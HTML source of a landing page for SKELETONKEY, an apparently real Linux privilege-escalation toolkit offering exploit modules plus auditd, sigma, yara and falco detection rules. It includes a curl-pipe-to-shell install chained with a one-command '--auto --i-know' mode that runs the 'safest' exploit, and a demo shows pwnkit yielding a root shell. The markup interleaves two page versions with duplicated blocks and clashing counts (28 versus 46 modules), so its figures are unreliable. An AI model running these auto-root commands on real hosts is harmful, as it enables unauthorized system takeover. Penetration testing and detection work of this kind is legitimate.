0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container">
|
||||
<h1>SKELETONKEY</h1>
|
||||
<p class="tag">
|
||||
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||
2016 → 2026. Detection rules in the box.
|
||||
<strong>One command picks the safest one and runs it.</strong>
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.10.0 — released 2026-07-24
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>46 Linux LPE modules</strong> covering 41 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 29 of 41 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know</pre>
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="46">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="29">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">Latest release</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY">View on GitHub</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">Full CVE inventory</a>
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<h2>Why this exists</h2>
|
||||
<p class="lead">
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li><strong>linux-exploit-suggester / linpeas</strong> — tell you what <em>might</em> work, run nothing</li>
|
||||
<li><strong>auto-root-exploit / kernelpop</strong> — bundle exploits but ship no detection signatures and went stale years ago</li>
|
||||
<li><strong>Per-CVE PoC repos</strong> — one author, one distro, abandoned within months</li>
|
||||
</ul>
|
||||
<p class="lead" style="margin-top:1rem">
|
||||
SKELETONKEY is one binary, actively maintained, with detection
|
||||
rules for every CVE it bundles — same project for red and blue
|
||||
teams.
|
||||
</p>
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<h2>Corpus at a glance</h2>
|
||||
|
||||
<div class="stats">
|
||||
<div class="stat">
|
||||
<span class="stat-num">28</span>
|
||||
<span class="stat-label">verified modules</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num green">14</span>
|
||||
<span class="stat-label">🟢 land root by default</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num yellow">14</span>
|
||||
<span class="stat-label">🟡 primitive + opt-in chain</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-num">10y</span>
|
||||
<span class="stat-label">2016 → 2026 coverage</span>
|
||||
</div>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--green);">🟢 Lands root on a vulnerable host</h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Structural exploits + page-cache writes. No per-kernel offsets needed.</p>
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
<div class="rule-row"><span>auditd</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
<div class="rule-row"><span>sigma</span><span class="rule-bar"><i style="width:100%"></i></span><span>31/31</span></div>
|
||||
<div class="rule-row"><span>yara</span><span class="rule-bar"><i style="width:90.3%"></i></span><span>28/31</span></div>
|
||||
<div class="rule-row"><span>falco</span><span class="rule-bar"><i style="width:96.7%"></i></span><span>30/31</span></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-kev">
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
13 of 41 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🧬</div>
|
||||
<h3>OPSEC notes per exploit</h3>
|
||||
<p>
|
||||
Each module ships a runtime-footprint paragraph: files, dmesg,
|
||||
syscall observables, network, persistence. The inverse of the
|
||||
detection rules — what an attacker would leave behind on
|
||||
<em>your</em> host.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">🎯</div>
|
||||
<h3>One host fingerprint, every module</h3>
|
||||
<p>
|
||||
<code>core/host.c</code> probes kernel / arch / distro / userns /
|
||||
apparmor / selinux / lockdown / sudo version / polkit version
|
||||
<em>once</em> at startup. Every <code>detect()</code> reads the
|
||||
same cached snapshot, so verdicts stay coherent across the
|
||||
corpus.
|
||||
</p>
|
||||
<pre class="bento-code">struct skeletonkey_host {
|
||||
struct kernel_version kernel;
|
||||
char arch[32], distro_id[64];
|
||||
bool unprivileged_userns_allowed;
|
||||
bool apparmor_restrict_userns;
|
||||
bool kpti_enabled, selinux_enforcing;
|
||||
char meltdown_mitigation[64];
|
||||
char sudo_version[64], polkit_version[64];
|
||||
...
|
||||
};</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">📡</div>
|
||||
<h3>JSON for pipelines</h3>
|
||||
<p>
|
||||
<code>--scan --json</code> emits a stable schema (see
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON_SCHEMA.md</a>)
|
||||
with triage metadata, opsec notes, and rule coverage embedded.
|
||||
Ready for Splunk / Elastic / Sentinel ingest.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🔒</div>
|
||||
<h3>No SaaS. No telemetry.</h3>
|
||||
<p>
|
||||
One static binary. No phone-home, no analytics, no cloud
|
||||
accounts. Reads <code>/proc</code> + <code>/sys</code>, runs the
|
||||
probe, exits. JSON or plain text — your pipeline owns the data.
|
||||
</p>
|
||||
</article>
|
||||
|
||||
<article class="bento-card bento-vfy">
|
||||
<div class="bento-icon">✓</div>
|
||||
<h3>29 modules empirically verified</h3>
|
||||
<p>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>29 of 41 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── MODULE CORPUS ──────────────── -->
|
||||
<section id="corpus" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>41 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green">dirty_pipe</span>
|
||||
<span class="pill green">dirty_cow</span>
|
||||
<span class="pill green">pwnkit</span>
|
||||
<span class="pill green">overlayfs</span>
|
||||
<span class="pill green">overlayfs_setuid</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green">ptrace_traceme</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">sudo_host</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 style="color: var(--yellow);">🟡 Fires kernel primitive · opt-in <code>--full-chain</code></h3>
|
||||
<p style="color: var(--text-muted); font-size:0.92rem; margin:0.25rem 0 0.25rem;">Default returns <code>EXPLOIT_FAIL</code> honestly. With <code>--full-chain</code> + resolved offsets, runs the shared modprobe_path finisher.</p>
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow">nf_tables</span>
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow">netfilter_xtcompat</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow">fuse_legacy</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow">sudo_samedit</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
<span class="pill yellow">nft_catchall</span>
|
||||
<span class="pill yellow">bad_epoll</span>
|
||||
<span class="pill yellow">ghostlock</span>
|
||||
<span class="pill yellow">refluxfs</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<h2>Who it's for</h2>
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<h3>🔴 Red team / pentesters</h3>
|
||||
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🔵 Blue team / SOC</h3>
|
||||
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🛠 Sysadmins</h3>
|
||||
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🎓 CTF / training</h3>
|
||||
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
41 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<h2>What it looks like</h2>
|
||||
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||
|
||||
<pre class="code"><span class="prompt">$</span> id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||
|
||||
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||
|
||||
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
<span class="hl-green">#</span> id
|
||||
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||
|
||||
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||
Safety ranking goes <strong>structural escapes</strong> →
|
||||
<strong>page-cache writes</strong> →
|
||||
<strong>userspace cred-races</strong> →
|
||||
<strong>kernel primitives</strong> →
|
||||
<strong>kernel races</strong>. The goal is to never crash a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<h2>The verified-vs-claimed bar</h2>
|
||||
<p class="lead">
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets.
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</section>
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Quickstart commands</h2>
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
|
||||
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
